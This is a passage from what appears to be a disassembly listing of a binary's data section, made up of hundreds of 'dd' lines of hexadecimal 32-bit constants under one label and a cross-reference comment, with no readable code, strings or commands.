dd 44A82FA7h, 71D78AA0h, 97553F6h, 7BA45A4Ah, 3E960BEFh
dd 51DC204Dh, 0AC45F783h, 0AC92853Fh, 49BD69B0h, 0C027EED8h
dd 6CA4C275h, 1FBCB730h, 5F5D5009h, 0C7005745h, 2BBA2156h
dd 0C5492CE9h, 71A9812Dh, 715D173Bh, 0F1A0F4ACh, 4D09C399h
dd 52B2F5ADh, 657D8B4Ah, 9B97BFC8h, 0AE28FEDCh, 0A6665EFBh
dd 0D63C2DDEh, 7668C067h, 484B973Fh, 9151EA28h, 0B4500908h
dd 0F9F681C4h, 8D88A4B3h, 0CBEF8188h, 82278748h, 7465280Ch
dd 0C75240B0h, 8A0B2F2Fh, 555373C8h, 0AED2E924h, 299140AFh
dd 3AF2862h, 0D1D760FEh, 167C18EFh, 0B9DEFEFDh, 5B2F0820h
dd 0F7BA7D58h, 894F59DDh, 33C4287Fh, 0F02A549Fh, 759985E1h
dd 0AA64A64Ch, 0A2A357A4h, 54D9588Eh, 0F72F81BEh, 30B43106h
dd 0F9C0C82h, 0D0DD5B55h, 796D0C32h, 0C1C7FE3h, 6B954402h
dd 0C6A422E9h, 0E1ACB4D3h, 3E68C0E9h, 40FB70D5h, 5D46A62Ch
dd 0B8055059h, 4D8558Eh, 297232FBh, 8449B976h, 0BF172CE4h
dd 65F6754Fh, 0E85939D5h, 906F5A30h, 5CE388B4h, 0D689D402h
dd 7AD199E9h, 61ADEDF5h, 84B97E76h, 1D346AAh, 0AEED13BAh
dd 33C35FC0h, 248C3E14h, 9643DEA8h, 0E9560264h, 25578478h
dd 12AA7F40h, 0D058A8FBh, 7B712DBFh, 8F9D08F5h, 0D5C2811Fh
dd 0DD7D6759h, 0E7F8FCC2h, 0C3F3574Ah, 38470892h, 1154F340h
dd 0A67460D0h, 1B316DEEh, 406CE91Ah, 58827724h, 4DD75652h
dd 0E95C824Ch, 786895E5h, 3A003568h, 2D584392h, 0E9E4088Ch
dd 2731ADE8h, 0A87C15AEh, 2A48C181h, 0D1600A7Ch, 0B559BD9Dh
dd 0CD92844Fh, 0E20158E9h, 1457073h, 0E9918BF9h, 7677E282h
dd 7A059C83h, 6623EE0Fh, 56FBF9E6h, 0F2B2565Fh, 0BD3E3DC0h
dd 3500583Ch, 1AF41CEh, 9801105h, 0A5E9C2EDh, 10CC9258h
dd 4BC0062Bh, 358ABC28h, 12EA4F70h, 0A985FA44h, 0FEB4CCFCh
dd 6F447E81h, 1B22716Ah, 0C0BC93B3h, 0C7FEAB00h, 3CB15166h
dd 7ACC8052h, 17E70710h, 5D0630ACh, 5B77D57Eh, 0CEEACCD6h
dd 34710903h, 0D8BD5545h, 9F429179h, 0C5F13624h, 1F97E99Fh
dd 0B76626C2h, 28CABC3Eh, 0EB308EAh, 0EA94E820h, 59ED8812h
dd 0E292513Dh, 5A443145h, 0B0AC7A56h, 0D39F01B8h, 0CFD12F73h
dd 13FB0265h, 0CBEE8A47h, 1CC45F58h, 9CF6E924h, 6125A8A8h
dd 8106534Eh, 727BB951h, 0F181CC4Fh, 2D0D7F60h, 4EFA0E1Fh
dd 0A4A8467h, 413E5907h, 6A1D36E9h, 0E9C247CBh, 0A3753B39h
dd 20505FB2h, 801CC0A0h, 0C4C2ADE4h, 40E688CDh, 0B669F7FAh
dd 7C76834h, 0DB2968A8h, 55316FFh, 66215DBAh, 47D59071h
dd 0E918C731h, 0C595F7F0h, 2BD01834h, 42B42EA3h, 4026AD25h
dd 2F152837h, 10D562ABh, 55096822h, 0B0984221h, 6E64D94h
dd 10202D12h, 4BBF4EE0h, 8498FCCEh, 0BD126737h, 62452DD7h
dd 7DE7FD7Ah, 0FAC6E985h, 0B276088h, 5E0A8021h, 0E5C48F5Fh
dd 0F2AAD087h, 0FD60169Ch, 68833DF9h, 4D183A81h, 0B7C1B52Eh
dd 5BE6954Ah, 68584396h, 8B064BBFh, 0EA0116F2h, 6C481ADEh
dd 587A4975h, 75FE2B84h, 0ABA550A8h, 5CF65739h, 446F1733h
dd 0BAD0F79Dh, 0B43C2A36h, 31B2012Bh, 3E2118B8h, 9B57A804h
dd 0F1D0AE12h, 7E4D2740h, 4C186E28h, 0EFFA0904h, 5C71D801h
dd 0E0943E50h, 3600F95Dh, 5C99B6Ah, 0F8772492h, 2D50CFB8h
dd 5D26E907h, 42A4337Eh, 0DB36F20Ch, 1B22121Ch, 0A310EE04h
dd 0F6AC5007h, 59C7571Eh, 442BCACFh, 0A6842936h, 5B1A0718h
dd 69E22F76h, 9EF145Fh, 5F545753h, 33E467F9h, 0AE2FE904h
dd 61B9F900h, 9F089F29h, 82608342h, 0D4C7CEDh, 3A0713CEh
dd 35D080E8h, 0A4D1BF96h, 0F32BFF68h, 5852181Dh, 9256E99Dh
dd 0D2BD0742h, 0A43AF139h, 1D9DFC2Ah, 1ED3ABB6h, 0B0C1DB90h
dd 6C243079h, 5F144E86h, 8CEC6672h, 0F660E26Eh, 28328197h
dd 0FF07DFD8h, 4C86331h, 9F22FA7h, 0AD99B105h, 0D2B83E5Dh
dd 10DE8BD7h, 5838FB6Dh, 28DA05AFh, 0CCB23EFFh, 4F1804D2h
dd 0C5F2DD1Ch, 0E4423F76h, 400121FCh, 829D5F23h, 688D215Dh
dd 0E336EEFh, 0E1DBB078h, 9D29E9C0h, 0D3501E0Bh, 127A0F20h
dd 0E82A1768h, 1610CEBCh, 0FEE520E8h, 0DCDCD682h, 8FBA00CCh
dd 4A35DE23h, 92EA313Eh, 0C337D443h, 0B2A4EBA7h, 8B35C6D0h
dd 49452826h, 4F067DECh, 0A923C56Bh, 135A64CAh, 9D095414h
dd 0A3028B0Ch, 0BB5DA928h, 694FDABCh, 50D94927h, 7D5FAF52h
dd 7D27C6FBh, 11E9C6B0h, 0B1A05CB2h, 0D1356EEh, 974B1CF9h
dd 9EF65CCCh, 0EA167C88h, 0A3D4B8A4h, 1CC4EFEEh, 2478D2E2h
dd 4132B789h, 20B3342Dh, 0E2ACCD1Bh, 0B85881B4h, 45301C6Bh
dd 4B56E29h, 0DA1C6F21h, 0B4E14C6Fh, 0B27857C1h, 73EBD205h
dd 538FD079h, 4BE12B3h, 1475FEB3h, 365907DEh, 0CF600286h
dd 7C5B2E95h, 8CF70401h, 85B787BEh, 0BA0541D3h, 2BB0642Ch
dd 4D463E0h, 0D1294849h, 0F447FFEAh, 6900412Eh, 92EFA8E9h
dd 527D382Bh, 0E65FE4Ah, 0BB3F9CABh, 168EBD80h, 92E7074h
dd 20F6CF2Ah, 98F1A364h, 0C9DEFA28h, 65F6AD1Fh, 0E17D3351h
dd 85878C35h, 4B7F4699h, 0F304FD77h, 0E49AE6D3h, 0C327D58Eh
dd 6676ABE2h, 61A3871Ah, 2B8B28CDh, 0B565FA01h, 390144B8h
dd 59AD88D1h, 58442A1Ah, 0D5EEBD27h, 59501196h, 0B440D612h
dd 0D829245Ah, 0D0731376h, 31C7EA08h, 1CB0FD7Dh, 74B17DFCh
dd 0BE56E700h, 1F50852h, 44CE8154h, 82312B6Fh, 400AE00Ch
dd 0F775427Dh, 4F62223h, 94890DAh, 1D2F285Eh, 0FE36D872h
dd 0A34CB5DDh, 0ECB73E7Dh, 425BB7C7h, 41520982h, 0D144E048h
dd 0E1585E03h, 0BFFED463h, 0E9B714B8h, 0E96E527Eh, 6C05B540h
dd 38AAA99Eh, 88090594h, 0E12BB508h, 6C386B6Ah, 7D24D349h
dd 803A007Ah, 0E95269CBh, 5D9C8A2Ah, 266DBA04h, 0A6C027A2h
dd 5CDC3753h, 1062917Ah, 0F2D45773h, 1B6AED1Ch, 51C2B60Eh
dd 0F580C3B5h, 0BFF29F6Fh, 7B076020h, 0E831801Eh, 2BDC5E4h
dd 77B1A245h, 0CCC2B651h, 0E14C4805h, 19299FEBh, 0B430C05Fh
dd 0E72816CEh, 0AF60B066h, 880B4142h, 41DC52FEh, 0DA3FE984h
dd 0A235A3C9h
dd 0E47FA1E9h, 0A42CC2ADh, 0F12082DCh, 0D0036B0Bh, 14035E63h
dd 0D14A08EFh, 0D2D85Eh, 0C473C168h, 0F4DFE8A1h, 0B44AF920h
dd 0DA501E91h, 0D3DE65B0h, 0B62B12Eh, 0D419F1C6h, 0F4F173B6h
dd 53D2D96h, 82F68A71h, 0C59940FFh, 11574042h, 6333E913h
dd 2B27E0F9h, 0C0322898h, 24A55FDFh, 0D0815F54h, 0A02E3110h
dd 450BF276h, 7813D354h, 0AE09075h, 23EE6E35h, 0AB5D129Ah
dd 2C0B8D50h, 0D6088A57h, 0F7290BBBh, 0E9197E9Ch, 0CD239860h
dd 0AD67920h, 1068041h, 25DA2D62h, 68AD594Ah, 2834B55Bh
dd 65F384CDh, 4F2F22F4h, 0D690E311h, 89536F13h, 0D4F482BEh
dd 0EBCDBD85h, 0D3D25999h, 0C1880287h, 1BD70168h, 0D2CBD397h
dd 261B7FFBh, 0BF53D9D1h, 0E3DEA71Ah, 0E9F90A07h, 0B1AE46CEh
dd 3F871BB2h, 0C1EF7425h, 3A4CD0CFh, 54BFE3D2h, 937E53C7h
dd 0F61A9C27h, 0E705F0ECh, 856AD3B7h, 0E0505855h
dword_4E414C dd 5B17636Fh, 70402D5h, 39BBE4FCh, 0F0CDF826h, 209A449Fh
; DATA XREF: ___:off_42DE44o
dd 5A021445h, 6617C580h, 0AB2C6052h, 9098B2DEh, 0D073201Eh
dd 60D5B780h, 0C43F6681h, 6B21FFC7h, 0A22F78A4h, 0C653CFF4h
dd 793CC3Bh, 57260BF2h, 0C30AB259h, 5C0F1EE4h, 64433332h
dd 21BFF4B5h, 739715DDh, 0EDA85A6Dh, 2D1F6882h, 0C0C7D49Bh
dd 5940ED61h, 3341A394h, 5FF66E57h, 0D22D6AF3h, 1305E643h
dd 44A7372Ah, 0E1493h, 8CD48FBBh, 40315F77h, 55F53FC1h
dd 82EF52E3h, 834FEBF2h, 4B9854Dh, 0DAE89153h, 3E060B81h
dd 354CF918h, 73126859h, 0BB403B05h, 0A7A08960h, 154B0BEBh
dd 0B7890B0Fh, 197547Ch, 9FCB04EFh, 89F3BADBh, 0B1B9497Ah
dd 17685B05h, 0BFFE8C6Ah, 74790A1Ch, 899DFC25h, 3D51CD42h
dd 3D92DF25h, 9960F289h, 0C8A3C809h, 16A8AB82h, 33310F6h
dd 143425BFh, 0F8564A6Dh, 718105B6h, 4EAF22CCh, 5F85EDFDh
dd 0FD92C32Ch, 2D092200h, 0E3C14CFCh, 0C2AB805h, 3CED1B17h
dd 5A7558F4h, 83FC484Bh, 0EA255F3Ah, 0E91022E6h, 0FA5AD688h
dd 0E8F67552h, 0CA52FA5Bh, 10915209h, 95281B51h, 132211CEh
dd 0FAEB0702h, 0B31D3B63h, 0F026AF0Fh, 38E5615Bh, 0B85E5BECh
dd 0E9F9F547h, 14D7568Bh, 5F5E2DF7h, 0D6701C7Fh, 0AF9CEE0Dh
dd 0DDE912D6h, 0F288BABCh, 30A75AECh, 5D846850h, 0B5594CBDh
dd 0C803F85Bh, 3EB879E9h, 0B326AC0Eh, 536F084Eh, 348FBF01h
dd 434C2C70h, 0E90C1626h, 97EF0077h, 314B74D7h, 21275AE8h
dd 4A78D9F8h, 0CA270BEAh, 0FBBF44EEh, 0A3794BD4h, 0E9F2C58Ch
dd 1F8EBFFDh, 78580F22h, 688B49DEh, 48CCFE40h, 0A9902FB2h
dd 60F450C2h, 2DE94812h, 17B8A8C0h, 681B2C4Bh, 20202EE5h
dd 0BDFBAC87h, 521C0D42h, 9ACF9BDh, 4C5DA8B6h, 9270F63Bh
dd 0F3282517h, 0C3C25B1Bh, 0D84807F5h, 6BF9EB05h, 0F2EB808Fh
dd 8F9740FEh, 85E9E006h, 3EDA9563h, 947A35Dh, 9839D068h
dd 4B9666Bh, 3E91559h, 5CA7B25Ah, 17E9A10Eh, 452F1625h
dd 0EDAF4E8Bh, 8BC0D6DCh, 0BF4A197Ch, 5F25560h, 4A4FD995h
dd 8A20935h, 0E9588C54h, 0CC4E5AB0h, 0C29F8A88h, 96C5F4Dh
dd 8BB7CAF8h, 0F30EF56Ah, 2A0EBC76h, 0CDCD955h, 7C23A21Ah
dd 30590668h, 0D2FE47C6h, 0E5C4EF54h, 4218B509h, 0E5E3E30Dh
dd 0AD5F4AA8h, 0A7DA8696h, 70F60431h, 871AD53Ch, 4461D0EEh
dd 1241C7Eh, 82237F1h, 8B58C118h, 954AB4C9h, 3EB2B4D3h
dd 4C0B78FBh, 0CE076C57h, 0C233EF03h, 8C59A166h, 5DB13999h
dd 65213682h, 59F00441h, 1D6B9822h, 0C0A63EEDh, 0A9BF5720h
dd 6E16060Ch, 9CA094E9h, 68840CB9h, 80465360h, 570A0DD2h
dd 98A69CCBh, 75C4101Eh, 0E4C40920h, 1DB7F201h, 7A9249D4h
dd 0C08057EAh, 0C07F6607h, 8758130Bh, 366D514h, 52A74022h
dd 0B12AF081h, 0BDBA4ACBh, 0D5291371h, 0F5C6EDA2h, 512D3FDFh
dd 0AC459821h, 605F2E46h, 12BD39EFh, 2F704DACh, 6E41076Ah
dd 912032E4h, 21AED632h, 6C7EE9E3h, 5B3D58C6h, 3B6539BEh
dd 981379A9h, 0A81E36Dh, 0B53207FFh, 24A0061Eh, 10ADC729h
dd 58BB02F2h, 5F3B3039h, 0D48163C0h, 9BE91997h, 5D1AE2C3h
dd 2D034421h, 68B5F81Fh, 0B3E2504h, 0C7D01156h, 0B8FFEDFDh
dd 40A35A8Ah, 0BA730B49h, 0CBAA2916h, 0BF580804h, 0EF8EB644h
dd 79C4B2BBh, 7AC165F9h, 0B040BCDAh, 0A8300BDDh, 4C5531h
dd 39EAC920h, 0F125DE89h, 1B42065Eh, 1DD80985h, 44F5A69h
dd 5FE9CF22h, 5A86BFD0h, 50B54EBFh, 0CA0139AEh, 0A9DA2A3Dh
dd 71F99657h, 0E191B85Bh, 0F980EF8h, 5011BAF5h, 0FB65302Fh
dd 0E6430CF7h, 6C0FCFF7h, 694BB005h, 0C1BD60D1h, 6DEB8EBh
dd 25623EE3h, 560B0C15h, 817F7B60h, 21201634h, 94E66ACh
dd 53C0A8E9h, 0F85A2858h, 5C2C3228h, 0A63F80A1h, 38DD9FE6h
dd 1B67302Fh, 4887C999h, 44D77D78h, 4413E0h, 7876E3BAh
dd 969C58h, 56592AE2h, 0D5D6E913h, 6804DA80h, 30244E91h
dd 5728D5B9h, 4DE91F4Eh, 0B976C000h, 2356E954h, 0FD2623BBh
dd 68525340h, 30465BF3h, 0E732D667h, 0E95E111Dh, 301CC798h
dd 7AB0B5F8h, 989F0261h, 0BF66A4ADh, 0E92F72CCh, 0F842A71Dh
dd 7B9CC272h, 4F3B0877h, 8AEA10B4h, 0AEFC4B3Ah, 39E0E44Fh
dd 258A840h, 72F26853h, 7F761CFh, 8D264ACCh, 0E0482A66h
dd 4E325F3h, 36E11E2Fh, 7FE961D8h, 5AD3FB40h, 3C53822Dh
dd 517F2E80h, 16290705h, 58107D58h, 0BB814B54h, 0F73ED76Dh
dd 826A7BAFh, 0F427B317h, 0D0CB0CBh, 3D4C5F15h, 2A9305C4h
dd 19875C33h, 0DAD88B7Fh, 0CC08567Bh, 7A1BB805h, 0AADA8106h
dd 0CF8004C8h, 4B8C484Dh, 4F09AA38h, 824CD75Ah, 5C1D3CF7h
dd 37EFA773h, 38BD98F0h, 1B2DFE61h, 764A1478h, 0F1241849h
dd 4FF0ADCEh, 0C2BCD695h, 2901BB62h, 902A5FFEh, 0AD1890D0h
dd 69ECA6B8h, 0CE605B81h, 2A39411Eh, 175C4804h, 0AB0A35EAh
dd 0F2BC8279h, 13C35909h, 2F5B7681h, 0F9006F57h, 7A1A88D8h
dd 34D75C01h, 0D08B852Fh, 0DFEA7774h, 6AD942h, 0B61258B8h
dd 75022D71h, 0F7283757h, 9172FFD8h, 1655D482h, 9B1A4EBh
dd 20A9276Eh, 16AE4604h, 3861FBF8h, 47402FF1h, 4C83A0F6h
dd 0BBFC1B88h, 8276E7h, 3A3041CDh, 793842C7h, 0C5CF0E33h
dd 21F37201h, 6DA2E194h, 0F4F601BCh, 56151261h, 0BB66AA47h
dd 7C304ABh, 0BF6EEE16h, 9D4317A1h, 6B7E8906h, 0A882D5E6h
dd 90D1F57Bh, 0D63D10C9h, 55C1B2C5h, 0A5E8A494h, 887DBC69h
dd 532FE279h, 26CC8845h, 5C8A006Bh, 2C15D24Dh, 1470E0D1h
dd 0F204E304h, 123F668h, 2ED6980Bh, 47B8B16Bh, 0BF0FA883h
dd 77EA47ECh, 51C883A3h, 0B6F1BE70h, 1493E67Fh, 9763CE01h
dd 0E90838EFh, 5AB71F25h, 40CC90BFh, 3FFBF6DCh, 53123BEDh
dd 48A5B66Fh, 0B8C55B95h, 50638AABh, 32AADD8Eh, 0D88C8456h
dd 77286AADh, 6C6520E6h, 0EF814F01h, 19E1266Fh, 0E7F7F12Eh
dd 2C01DDA1h, 62B227A9h, 185955E0h, 0E91051E5h, 6A4206ABh
dd 4E0B5868h, 0FB00EE59h, 602D6BEBh, 0C10CDF4Ch, 11CB915h
dd 0B8C46FCBh, 0D0890905h, 4626C2h, 12B6A235h, 7F317827h
dd 1BCAFD80h, 0CC172C1h, 36E7E94Ch, 9C4853Ah, 8C52F202h
dd 4AFF29F3h, 0E91A28CBh, 0A05FD7CAh, 3A015584h, 3410F15Ch
dd 2A7BD61Bh, 0E8E37EF5h, 50560C40h, 0A1291ABEh, 0C02F08C1h
dd 20224A71h, 32DE6C7Eh, 0D09087E4h, 0F67AE05Fh, 0C7FED701h
dd 30B4EF80h, 85D5C5DAh, 0A8DA6FE9h, 23139EEAh, 68C332FCh
dd 0AA847E9Fh, 0FE4FC2A7h, 9DA62634h, 451C381Ah, 0C76BB89h
dd 14A5EB58h, 0FE10AA17h, 857AAF18h, 0CCFF01C6h, 0AD2406B2h
dd 5000F96Dh, 0E9073F65h, 5FBCAAA7h, 0BD0090F2h, 45AF588h
dd 74E828A3h, 89D8952Ch, 94BF927Ah, 645E9DA3h, 89CDD52h
dd 90DB758h, 0C13CE9CFh, 807C667Fh, 0D5893E74h, 0EFABEC12h
dd 357ECD8Bh, 801CCBD4h, 5341D15Ch, 72B2D7F4h, 28F2B50Fh
dd 0D47C26EBh, 0C6860D27h, 4108C0FEh, 485EF31h, 0E50D1C90h
dd 68D6067Fh, 0CF02D48h, 0B613F84Bh, 0C40858Dh, 0BD314F4h
dd 0B265E97Dh, 560B39F5h, 80233C70h, 5168A2Dh, 0C7EC4E01h
dd 2D6B0741h, 0E98D41A5h, 36E2CF6h, 2815C280h, 0ABEAABFAh
dd 164CB75Bh, 0EABFA347h, 0C9CA87D7h, 53E97F20h, 0EEADA9CEh
dd 80F1A130h, 57FE5C1h, 0A0F91B27h, 8E3EA60Fh, 1284B201h
dd 0A66CDF68h, 0CF604E00h
dd 4043E9CAh, 0A81FB090h, 0B6DC4E34h, 279CAD9Dh, 958C609h
dd 0C7EF8218h, 0C15D00F7h, 534E03EDh, 485AC7h, 87710D68h
dd 4E4E5E6Eh, 0E90490B6h, 0AA6BF65Bh, 0C781D804h, 95F4DE9h
dd 1224A65Dh, 4834C057h, 5E7CBC40h, 5017745Dh, 0F11381E4h
dd 90BA6A64h, 0B248D41Ch, 0FD2DE9F4h, 0C59D20B0h, 60FB598Bh
dd 2D40C04h, 17C3382h, 8A0EDFCh, 809571E9h, 1544BEADh
dd 0BE0B5B79h, 2583B55Eh, 0D1906395h, 5C98A567h, 0C1C5EE56h
dd 8D037582h, 0FDC36E18h, 523BCE1h, 2A482201h, 0DF702E3Eh
dd 72FCEF08h, 2127B755h, 0AB5D34EAh, 68ECF48Dh, 900F7FBAh
dd 0AB8F828Fh, 9DEF498h, 0DDD4C0B1h, 7F804A52h, 6C97B916h
dd 0A4D15C8Ch, 0D333BC4Bh, 0ECD6320Bh, 9F852F5Ah, 0B6E836D7h
dd 0C87515AAh, 28ADA04Bh, 9F1ED8BFh, 5C5A6EBCh, 0BDEC30EEh
dd 9E5043FDh, 0B8400CDCh, 395C2D68h, 91889A59h, 96B28CBh
dd 0B9FB64F9h, 0C65A20FFh, 90D139AAh, 0EEE1ED1Fh, 92010844h
dd 3BB762EAh, 4D5E932Fh, 1E5CFF30h, 32F2D89h, 0EF58113h
dd 6E12AB02h, 0D9BBAD92h, 0F80B7FE4h, 0C56D022Dh, 0B1E2F567h
dd 5FE90702h, 0DD780D5Fh, 0E29CA83Eh, 2F644059h, 0AEE88338h
dd 719FF828h, 0FFF62F5Fh, 0ADFAD430h, 316E2EEAh, 5CD70E32h
dd 55CABE13h, 0D5FE9492h, 8686A065h, 0BECC2EFFh, 8EC34B45h
dd 0BD680261h, 406DB10Ah, 25C8EB9Eh, 0ADD66213h, 0EF00BFCAh
dd 95C5B71h, 0AC5E4BF3h, 41680991h, 1964604h, 62143ABCh
dd 0C1D2ABBEh, 48E02BF3h, 0B8019846h, 0AC21515Eh, 3AB8893Bh
dd 86AB0DFh, 13B2026Ah, 605E0E8Fh, 70EC5000h, 9D389F1h
dd 749D685Ah, 69612031h, 37391124h, 0E5656A34h, 0B6EF8D5h
dd 0B0EFA3BFh, 55C3825Dh, 0D6524B74h, 6C3C23Ah, 0A282C32Ah
dd 8B30AC59h, 84332C1h, 502080Ch, 83119F29h, 0F73CE61Ch
dd 0B52DE923h, 4223E2AEh, 44AA5BBDh, 6C58AB6h, 61CAF929h
dd 2D5C0EA4h, 0A9767802h, 702B0352h, 0B0C15F2Ch, 0AE40B847h
dd 1CCFBE58h, 7F08C581h, 0DFF1014Ah, 2F1FBBE9h, 8739635Fh
dd 0FB096C30h, 0D19293D2h, 779C85B0h, 7400AA82h, 1EEE39B0h
dd 80554B52h, 0E923BE36h, 28F05D5Ch, 0DE8B07F2h, 2C68CBE1h
dd 1B27C08Ch, 7F017455h, 301659D0h, 1624B22Ch, 0EB80F402h
dd 104C050Fh, 0E183642Eh, 5078CEBEh, 9897E73Ch, 0C757DFAh
dd 79BF2A7Ch, 0CF4C310Bh, 0BAE90F2Ch, 0A47A8E08h, 0E8C87BE7h
dd 2E521328h, 32C00046h, 0C5313C99h, 0EEA2E92Eh, 74F8A7BDh
dd 0EB4B3A81h, 15D7F228h, 72111768h, 0AE6BB212h, 0C1D996D2h
dd 208BACE3h, 0EBF45A5Fh, 50EF9A53h, 95D3907h, 0CF7B1CA5h
dd 729CA509h, 0EBD720F3h, 5277F6B5h, 1DFBBC1h, 0B7DDC228h
dd 458B139h, 0A631E824h, 0D8EF0BF6h, 90CB10C8h, 0FC37FE3Eh
dd 8C321CBDh, 0D47CBD7Ah, 35E920CCh, 0FF24B6BDh, 20128086h
dd 0BF009D6Bh, 20CA5B99h, 0D29BF781h, 4ECBBC0Dh, 6F541191h
dd 0C99CFA05h, 0CE7AEF65h, 98553F47h, 0C31F9244h, 0C6531EA9h
dd 5AD2CC27h, 4A0BEF17h, 7F0B7D43h, 470330Bh, 73CE56BFh
dd 56581901h, 0F89AE954h, 0C02BD565h, 0ED8057D5h, 822E787Dh
dd 0C48FF5F3h, 24EC61AAh, 571E630h, 8353C16Ah, 0A0E33FEEh
dd 1B1AF292h, 0B51C7C8Ah, 12F2E3FBh, 2FB4CF4Ah, 0CCA54A21h
dd 7F58D092h, 0B70FC1F6h, 96056C8h, 0AE18B53Bh, 219ACAB1h
dd 0E0529B5h, 0FBF01646h, 0BBF2BF5Dh, 0F74BF585h, 0A3813F1Ah
dd 23479168h, 0E970405Dh, 453A6230h, 3DABB7F1h, 189786B5h
dd 0D470FBD0h, 584EB652h, 741C8428h, 0B2572D49h, 1CD60280h
dd 3416C0Bh, 21EA42B2h, 0B2EB6BEh, 0D9880131h, 566804CCh
dd 4FCFB35Ch, 7F0B51C7h, 0A9A5A2C7h, 60437DD7h, 593D503Ch
dd 294189AFh, 30BE6D63h, 133468A5h, 462A2F31h, 5292A04Fh
dd 7F7ED859h, 0D6844058h, 0E9803CEEh, 0E6836827h, 2BE02568h
dd 0EB426AE8h, 0DC98D072h, 5D6BA209h, 96EAD728h, 0E9043DF6h
dd 64EDFA51h, 8305617Dh, 0FCE404F0h, 17B21224h, 1008EB3Ch
dd 680B1C73h, 43462342h, 0C517D309h, 8C6F0774h, 0D56EDD0Bh
dd 2B2E7186h, 70C11B2Fh, 0A03E9710h, 0E1129D9Eh, 0D800F7E5h
dd 203B5774h, 0F831ED29h, 31580800h, 0F3E913DAh, 0AF6F23Dh
dd 0FA131660h, 2056312Dh, 0BB2DFB3Ch, 2988AA56h, 4470A95Ch
dd 4C58E858h, 9B8B9D8Ch, 8334D7E5h, 0EA270F9Eh, 6A8659C7h
dd 4E378034h, 0C15A772Fh, 7393EA58h, 3806AA79h, 0C067E983h
dd 0ACF85B65h, 77B5027Bh, 2801493Dh, 0C1581F08h, 0CD1947CFh
dd 36822E44h, 5EEC4C2Dh, 5CE30A71h, 43BA5044h, 0E97CA00Bh
dd 81CD6098h, 44B509E2h, 1D002A64h, 9D38D42Fh, 95D570BFh
dd 5EC48477h, 880468BCh, 0C3D7F6F7h, 0FF975B4Fh, 4B62E3C6h
dd 46EBEA06h, 2C43FABh, 369F0CE4h, 808D701h, 6095E909h
dd 0EEEC86D7h, 0A9A45E13h, 0F2A9894Eh, 0BDE13465h, 0E20BC71Ch
dd 0FFE0D51Eh, 4E1B10E7h, 0C80C069Fh, 0C01F2748h, 0D6334F74h
dd 0F9D4799h, 7526E06Fh, 0FED16B51h, 2FBB2968h, 7A539ED5h
dd 30E54C80h, 0F3CB815Bh, 464BA5F2h, 0B2E0A1B5h, 0A70C5051h
dd 12DC0BEBh, 23FD8942h, 558C75Dh, 0E11F38F6h, 50588243h
dd 6E0F4740h, 0C028F924h, 0B95AF100h, 5FFD214Bh, 27CA85Fh
dd 0CB3655E5h, 385BC07Eh, 3F9809FBh, 2A507BE9h, 0F71C5ED3h
dd 0B950CBD9h, 0B0540BF4h, 77EB0DC7h, 7B92201Ch, 26E9CD43h
dd 0A23A50E4h, 5D57122Fh, 0F90BB145h, 9D853F4Bh, 2E2F75C8h
dd 103BC630h, 522C12A0h, 0CDD9A1AAh, 185CF4C9h, 88AB1AD2h
dd 8B54CCC0h, 4E09CAF5h, 2BD418h, 0FE7A6B1Ah, 27A1BCAFh
dd 68848B65h, 0FA8C5FF4h, 138CF257h, 0B93ED230h, 0C0ED2D58h
dd 0CCBBDFAh, 4D458F0Bh, 1014B3F0h, 6956AD3h, 4AC04BF1h
dd 0E311160Ch, 5393C20Ah, 1CD7B075h, 585580A5h, 4CA94B5h
dd 0C0E9D5F7h, 8420A9E8h, 0E2357EF0h, 0C5B57F2Ah, 12846995h
dd 7843A2F8h, 26621620h, 2D99F380h, 0A1FA31E3h, 5E5B26F2h
dd 7EC2A3C8h, 68392C5Ah, 0CFE090Fh, 0DF8542A9h, 0F875A152h
dd 0D99D3C4Eh, 0B616E9DFh, 0F1098291h, 100C7FEh, 9010A7BBh
dd 5B82A15h, 5E55904Bh, 0EF549FE9h, 76F274CAh, 0E5BD6751h
dd 0C14AE403h, 4D06E514h, 0B20E75D4h, 0C02CEF16h, 61435BF5h
dd 0DD829F7Dh, 0C30EF129h, 7D71A657h, 4254FAFh, 85E821A6h
dd 0C7CA8800h, 0A6E7670h, 45FAD392h, 0CC515DAFh, 2E76E937h
dd 415E64AAh, 0B26E5151h, 0EB3C84A0h, 0A119F2BFh, 0B43A2FE9h
dd 7A9FBBB2h, 5247A00Bh, 39361C50h, 894BFDE9h, 0E564E0FFh
dd 0C23610B7h, 2858FAB5h, 27E15F1Ch, 92C9121Bh, 0AB79CA07h
dd 6E8788h, 9E14F72Dh, 8A0F0543h, 0E4537C3Fh, 116D323h
dd 7B22B49Ch, 285AED20h, 57EE4ED0h, 0C18AFB6Dh, 0D9D70C9Ah
dd 0D4CA4254h, 66282271h, 0A1825B7Bh, 7B5A689Fh, 0F8A78405h
dd 28AB4EB9h, 8D276802h, 3183E63Ah, 0B4392769h, 52F33F1Dh
dd 2D322879h, 127E0F4Bh, 50F65EC2h, 1C6008F6h, 3CBC7275h
dd 68525101h, 22407C0Bh, 6C2F5B70h, 21A643AAh, 7A6C0A0Fh
dd 0D3B9A45Fh, 0B66E88BBh, 0E680BF1Ch, 0D0185AACh, 9F1CC60Ah
dd 0E91358F0h, 0FBB8D6BCh, 0FEBD21F3h, 2BEBC420h, 9A9604E4h
dd 0AF5BD989h, 0D0FC65C2h, 0FD594A64h, 1B8C93A9h, 60D95ADh
dd 0E2ED7E64h, 0FAC1D4F7h, 0C5048595h, 0C012E2F3h, 1E0DC353h
dd 989549Dh, 0EADEA60Fh
dd 52C5F51h, 5C13B800h, 613501B1h, 420E6690h, 0EFF89205h
dd 57C669BCh, 2E5CB211h, 1D379BDh, 2209DB40h, 1A49330h
dd 5E58CC40h, 1857671Ah, 9FEB33E9h, 230CE6C3h, 0E5D495Ah
dd 0DE55044Fh, 81DA21CBh, 631CE87Eh, 0BE5600C1h, 1D260FD5h
dd 0AA974AE9h, 862E8ECDh, 0B21358ACh, 0DB4828C4h, 0BB49178Fh
dd 98A8FF63h, 4E092F9Ah, 92C9B9F1h, 0DB7E7E02h, 40A7C2BFh
dd 80F62303h, 7EEC35Ch, 60E956Ah, 0E1E0212h, 0E0C46B92h
dd 0A37B6AA1h, 80FED33Ah, 793B689Ch, 90F8BBA8h, 0BD06B180h
dd 0F1067DF6h, 0ED4A2010h, 8274BD29h, 88ED977h, 742FB21Bh
dd 46792DD6h, 0F56CE962h, 77167F89h, 0BEB85021h, 0A5E5827h
dd 4610BEC0h, 0DE7E68C7h, 5A6680C2h, 0E2885253h, 0D0755073h
dd 258089A1h, 0C8E6BABh, 5928FA5Eh, 0C85257D8h, 23097507h
